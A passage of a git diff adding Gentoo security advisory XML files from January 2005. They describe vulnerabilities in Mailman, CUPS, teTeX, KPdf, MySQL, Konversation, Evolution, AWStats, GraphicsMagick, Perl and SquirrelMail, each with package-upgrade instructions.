+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-29.xml b/xml/htdocs/security/en/glsa/glsa-200501-29.xml
new file mode 100644
index 00000000..69814dc3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-29.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-29">
+  <title>Mailman: Cross-site scripting vulnerability</title>
+  <synopsis>
+    Mailman is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">mailman</product>
+  <announced>January 22, 2005</announced>
+  <revised>January 22, 2005: 01</revised>
+  <bug>77524</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/mailman" auto="yes" arch="*">
+      <unaffected range="ge">2.1.5-r3</unaffected>
+      <vulnerable range="lt">2.1.5-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mailman is a Python-based mailing list server with an extensive
+    web interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Weimer has discovered a cross-site scripting vulnerability
+    in the error messages that are produced by Mailman.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to visiting a specially-crafted URL, an
+    attacker can execute arbitrary script code running in the context of
+    the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mailman users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/mailman-2.1.5-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1177">CAN-2004-1177</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 19 Jan 2005 10:01:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Jan 2005 09:22:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 21 Jan 2005 16:36:40 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-30.xml b/xml/htdocs/security/en/glsa/glsa-200501-30.xml
new file mode 100644
index 00000000..a4f288c9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-30.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-30">
+  <title>CUPS: Stack overflow in included Xpdf code</title>
+  <synopsis>
+    CUPS includes Xpdf code and therefore is vulnerable to the recent stack
+    overflow issue, potentially resulting in the remote execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">CUPS</product>
+  <announced>January 22, 2005</announced>
+  <revised>January 22, 2005: 01</revised>
+  <bug>78249</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.1.23-r1</unaffected>
+      <vulnerable range="lt">1.1.23-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Common UNIX Printing System (CUPS) is a cross-platform print
+    spooler. It makes use of Xpdf code to handle PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Decrypt::makeFileKey2 function in Xpdf's Decrypt.cc
+    insufficiently checks boundaries when processing /Encrypt /Length tags
+    in PDF files (GLSA 200501-28).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This issue could be exploited by a remote attacker to execute
+    arbitrary code by sending a malicious print job to a CUPS spooler.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.1.23-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064">CAN-2005-0064</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml">GLSA 200501-28</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 21 Jan 2005 20:52:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Jan 2005 20:53:07 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-31.xml b/xml/htdocs/security/en/glsa/glsa-200501-31.xml
new file mode 100644
index 00000000..01e80f12
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-31.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-31">
+  <title>teTeX, pTeX, CSTeX: Multiple vulnerabilities</title>
+  <synopsis>
+    teTeX, pTeX and CSTeX make use of vulnerable Xpdf code which may allow the
+    remote execution of arbitrary code. Furthermore, the xdvizilla script is
+    vulnerable to temporary file handling issues.
+  </synopsis>
+  <product type="ebuild">teTeX</product>
+  <announced>January 23, 2005</announced>
+  <revised>January 23, 2005: 01</revised>
+  <bug>75801</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="app-text/tetex" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r5</unaffected>
+      <vulnerable range="lt">2.0.2-r5</vulnerable>
+    </package>
+    <package name="app-text/cstetex" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r1</unaffected>
+      <vulnerable range="lt">2.0.2-r1</vulnerable>
+    </package>
+    <package name="app-text/ptex" auto="yes" arch="*">
+      <unaffected range="ge">3.1.4-r2</unaffected>
+      <vulnerable range="lt">3.1.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    teTeX is a complete and open source TeX distribution. CSTeX is
+    another TeX distribution including Czech and Slovak support. pTeX is
+    another alternative that allows Japanese publishing with TeX. xdvizilla
+    is an auxiliary script used to integrate DVI file viewing in
+    Mozilla-based browsers.
+    </p>
+  </background>
+  <description>
+    <p>
+    teTeX, pTeX and CSTeX all make use of Xpdf code and may therefore
+    be vulnerable to the various overflows that were discovered in Xpdf
+    code (CAN-2004-0888, CAN-2004-0889, CAN-2004-1125 and CAN-2005-0064).
+    Furthermore, Javier Fernandez-Sanguino Pena discovered that the
+    xdvizilla script does not handle temporary files correctly.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could design a malicious input file which, when
+    processed using one of the TeX distributions, could lead to the
+    execution of arbitrary code. Furthermore, a local attacker could create
+    symbolic links in the temporary files directory, pointing to a valid
+    file somewhere on the filesystem. When xdvizilla is called, this would
+    result in the file being overwritten with the rights of the user
+    running the script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All teTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/tetex-2.0.2-r5&quot;</code>
+    <p>
+    All CSTeX users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/cstetex-2.0.2-r1&quot;</code>
+    <p>
+    Finally, all pTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ptex-3.1.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0888">CAN-2004-0888</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0889">CAN-2004-0889</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125">CAN-2004-1125</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064">CAN-2005-0064</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Jan 2005 10:36:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 21 Jan 2005 22:41:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Jan 2005 12:09:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-32.xml b/xml/htdocs/security/en/glsa/glsa-200501-32.xml
new file mode 100644
index 00000000..8564fe51
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-32.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-32">
+  <title>KPdf, KOffice: Stack overflow in included Xpdf code</title>
+  <synopsis>
+    KPdf and KOffice both include vulnerable Xpdf code to handle PDF files,
+    making them vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">kpdf, koffice</product>
+  <announced>January 23, 2005</announced>
+  <revised>January 23, 2005: 01</revised>
+  <bug>78619</bug>
+  <bug>78620</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.3.5-r2</unaffected>
+      <vulnerable range="lt">1.3.5-r2</vulnerable>
+    </package>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r2</unaffected>
+      <unaffected range="rge">3.2.3-r4</unaffected>
+      <vulnerable range="lt">3.3.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KPdf is a KDE-based PDF viewer included in the kdegraphics
+    package. KOffice is an integrated office suite for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    KPdf and KOffice both include Xpdf code to handle PDF files. Xpdf
+    is vulnerable to a new stack overflow, as described in GLSA 200501-28.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially-crafted PDF
+    file, potentially resulting in the execution of arbitrary code with the
+    rights of the user running the affected application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KPdf users should upgrade to the latest version of
+    kdegraphics:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdegraphics</code>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-office/koffice</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml">GLSA 200501-18</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064">CAN-2005-0064</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20050119-1.txt">KDE Security Advisory: kpdf Buffer Overflow Vulnerability</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20050120-1.txt">KDE Security Advisory: KOffice PDF Import Filter Vulnerability</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 22 Jan 2005 09:23:04 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Jan 2005 12:21:06 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-33.xml b/xml/htdocs/security/en/glsa/glsa-200501-33.xml
new file mode 100644
index 00000000..6b0d21c0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-33.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-33">
+  <title>MySQL: Insecure temporary file creation</title>
+  <synopsis>
+    MySQL is vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>January 23, 2005</announced>
+  <revised>January 23, 2005: 01</revised>
+  <bug>77805</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.0.22-r2</unaffected>
+      <vulnerable range="lt">4.0.22-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a fast, multi-threaded, multi-user SQL database server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino Pena from the Debian Security Audit
+    Project discovered that the 'mysqlaccess' script creates temporary
+    files in world-writeable directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When the mysqlaccess script is executed, this would result in the file
+    being overwritten with the rights of the user running the software,
+    which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-4.0.22-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0004">CAN-2005-0004</uri>
+    <uri link="http://secunia.com/advisories/13867/">Secunia Advisory SA13867</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 19 Jan 2005 10:01:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Jan 2005 22:17:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Jan 2005 01:00:40 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-34.xml b/xml/htdocs/security/en/glsa/glsa-200501-34.xml
new file mode 100644
index 00000000..fc90b8be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-34.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-34">
+  <title>Konversation: Various vulnerabilities</title>
+  <synopsis>
+    Konversation contains multiple vulnerabilities that could lead to remote
+    command execution or information leaks.
+  </synopsis>
+  <product type="ebuild">konversation</product>
+  <announced>January 24, 2005</announced>
+  <revised>January 24, 2005: 01</revised>
+  <bug>78712</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/konversation" auto="yes" arch="*">
+      <unaffected range="ge">0.15.1</unaffected>
+      <vulnerable range="lt">0.15.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Konversation is a user-friendly IRC client for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Wouter Coekaerts has discovered three vulnerabilites within
+    Konversation:
+    </p>
+    <ul>
+    <li>The Server::parseWildcards function, which
+    is used by the "Quick Buttons", does not properly handle variable
+    expansion (CAN-2005-0129).</li>
+    <li>Perl scripts included with
+    Konversation do not properly escape shell metacharacters
+    (CAN-2005-0130).</li>
+    <li>The 'Nick' and 'Password' fields in the Quick
+    Connect dialog can be easily confused (CAN-2005-0131).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious server could create specially-crafted channels, which
+    would exploit certain flaws in Konversation, potentially leading to the
+    execution of shell commands. A user could also unintentionally input
+    their password into the 'Nick' field in the Quick Connect dialog,
+    exposing his password to IRC users, and log files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Konversation users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/konversation-0.15.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0129">CAN-2005-0129</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0130">CAN-2005-0130</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0131">CAN-2005-0131</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20050121-1.txt">KDE Security Advisory: Multiple vulnerabilities in Konversation</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Jan 2005 19:25:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Jan 2005 21:24:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Jan 2005 00:39:45 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-35.xml b/xml/htdocs/security/en/glsa/glsa-200501-35.xml
new file mode 100644
index 00000000..14b94c19
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-35.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-35">
+  <title>Evolution: Integer overflow in camel-lock-helper</title>
+  <synopsis>
+    An overflow in the camel-lock-helper application can be exploited by an
+    attacker to execute arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">evolution</product>
+  <announced>January 24, 2005</announced>
+  <revised>January 24, 2005: 01</revised>
+  <bug>79183</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="mail-client/evolution" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r1</unaffected>
+      <vulnerable range="le">2.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is a GNOME groupware application similar to Microsoft
+    Outlook.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler discovered an integer overflow in the
+    camel-lock-helper application, which is installed as setgid mail by
+    default.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could exploit this vulnerability to execute
+    malicious code with the privileges of the 'mail' group. A remote
+    attacker could also setup a malicious POP server to execute arbitrary
+    code when an Evolution user connects to it.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evolution users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/evolution-2.0.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0102">CAN-2005-0102</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 24 Jan 2005 14:31:03 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 24 Jan 2005 21:37:19 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-36.xml b/xml/htdocs/security/en/glsa/glsa-200501-36.xml
new file mode 100644
index 00000000..4306a7aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-36.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-36">
+  <title>AWStats: Remote code execution</title>
+  <synopsis>
+    AWStats fails to validate certain input, which could lead to the remote
+    execution of arbitrary code or to the leak of information.
+  </synopsis>
+  <product type="ebuild">awstats</product>
+  <announced>January 25, 2005</announced>
+  <revised>May 28, 2009: 04</revised>
+  <bug>77963</bug>
+  <bug>81775</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-misc/awstats" auto="yes" arch="*">
+      <unaffected range="ge">6.3-r2</unaffected>
+      <vulnerable range="lt">6.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AWStats is an advanced log file analyzer and statistics generator.
+    </p>
+  </background>
+  <description>
+    <p>
+    When 'awstats.pl' is run as a CGI script, it fails to validate specific
+    inputs which are used in a Perl open() function call. Furthermore, a
+    user could read log file content even when plugin rawlog was not
+    enabled.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could supply AWStats malicious input, potentially
+    allowing the execution of arbitrary code with the rights of the web
+    server. He could also access raw log contents.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Making sure that AWStats does not run as a CGI script will avoid the
+    issue, but we recommend that users upgrade to the latest version, which
+    fixes these bugs.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AWStats users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-misc/awstats-6.3-r2&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://awstats.sourceforge.net/docs/awstats_changelog.txt">AWStats ChangeLog</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=185">iDEFENSE Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0116">CAN-2005-0116</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0362">CAN-2005-0362</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0363">CAN-2005-0363</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 18 Jan 2005 13:51:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Jan 2005 01:15:21 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Jan 2005 18:48:59 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-37.xml b/xml/htdocs/security/en/glsa/glsa-200501-37.xml
new file mode 100644
index 00000000..5f79f3e0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-37.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-37">
+  <title>GraphicsMagick: PSD decoding heap overflow</title>
+  <synopsis>
+    GraphicsMagick is vulnerable to a heap overflow when decoding Photoshop
+    Document (PSD) files, which could lead to arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">GraphicsMagick</product>
+  <announced>January 26, 2005</announced>
+  <revised>January 26, 2005: 01</revised>
+  <bug>79336</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/graphicsmagick" auto="yes" arch="*">
+      <unaffected range="ge">1.1.5</unaffected>
+      <vulnerable range="lt">1.1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GraphicsMagick is a collection of tools to read, write and
+    manipulate images in many formats. GraphicsMagick is originally derived
+    from ImageMagick 5.5.2.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andrei Nigmatulin discovered that handling a Photoshop Document
+    (PSD) file with more than 24 layers in ImageMagick could trigger a heap
+    overflow (GLSA 200501-26). GraphicsMagick is based on the same code and
+    therefore suffers from the same flaw.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could potentially design a malicious PSD image file to
+    cause arbitrary code execution with the permissions of the user running
+    GraphicsMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GraphicsMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/graphicsmagick-1.1.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0005">CAN-2005-0005</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200501-26.xml">GLSA 200501-26</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 26 Jan 2005 12:20:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Jan 2005 12:21:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-38.xml b/xml/htdocs/security/en/glsa/glsa-200501-38.xml
new file mode 100644
index 00000000..944f107c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-38.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-38">
+  <title>Perl: rmtree and DBI tmpfile vulnerabilities</title>
+  <synopsis>
+    The Perl DBI library and File::Path::rmtree function are vulnerable to
+    symlink attacks.
+  </synopsis>
+  <product type="ebuild">Perl</product>
+  <announced>January 26, 2005</announced>
+  <revised>March 15, 2005: 03</revised>
+  <bug>75696</bug>
+  <bug>78634</bug>
+  <bug>79685</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-perl/DBI" auto="yes" arch="*">
+      <unaffected range="rge">1.37-r1</unaffected>
+      <unaffected range="ge">1.38-r1</unaffected>
+      <vulnerable range="le">1.38</vulnerable>
+    </package>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.6-r4</unaffected>
+      <unaffected range="rge">5.8.5-r5</unaffected>
+      <unaffected range="rge">5.8.4-r4</unaffected>
+      <unaffected range="rge">5.8.2-r4</unaffected>
+      <vulnerable range="le">5.8.6-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a cross platform programming language. The DBI is the standard
+    database interface module for Perl.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino Pena discovered that the DBI library creates
+    temporary files in an insecure, predictable way (CAN-2005-0077). Paul
+    Szabo found out that "File::Path::rmtree" is vulnerable to various race
+    conditions (CAN-2004-0452, CAN-2005-0448).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory that point to a valid file somewhere on the filesystem. When
+    the DBI library or File::Path::rmtree is executed, this could be used
+    to overwrite or remove files with the rights of the user calling these
+    functions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-lang/perl</code>
+    <p>
+    All DBI library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-perl/DBI</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0452">CAN-2004-0452</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0077">CAN-2005-0077</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0448">CAN-2005-0448</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 26 Jan 2005 15:06:53 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Jan 2005 20:14:36 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200501-39.xml b/xml/htdocs/security/en/glsa/glsa-200501-39.xml
new file mode 100644
index 00000000..6e2a976e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200501-39.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200501-39">
+  <title>SquirrelMail: Multiple vulnerabilities</title>
+  <synopsis>
+    SquirrelMail fails to properly sanitize user input, which could lead to
+    arbitrary code execution and compromise webmail accounts.
+  </synopsis>
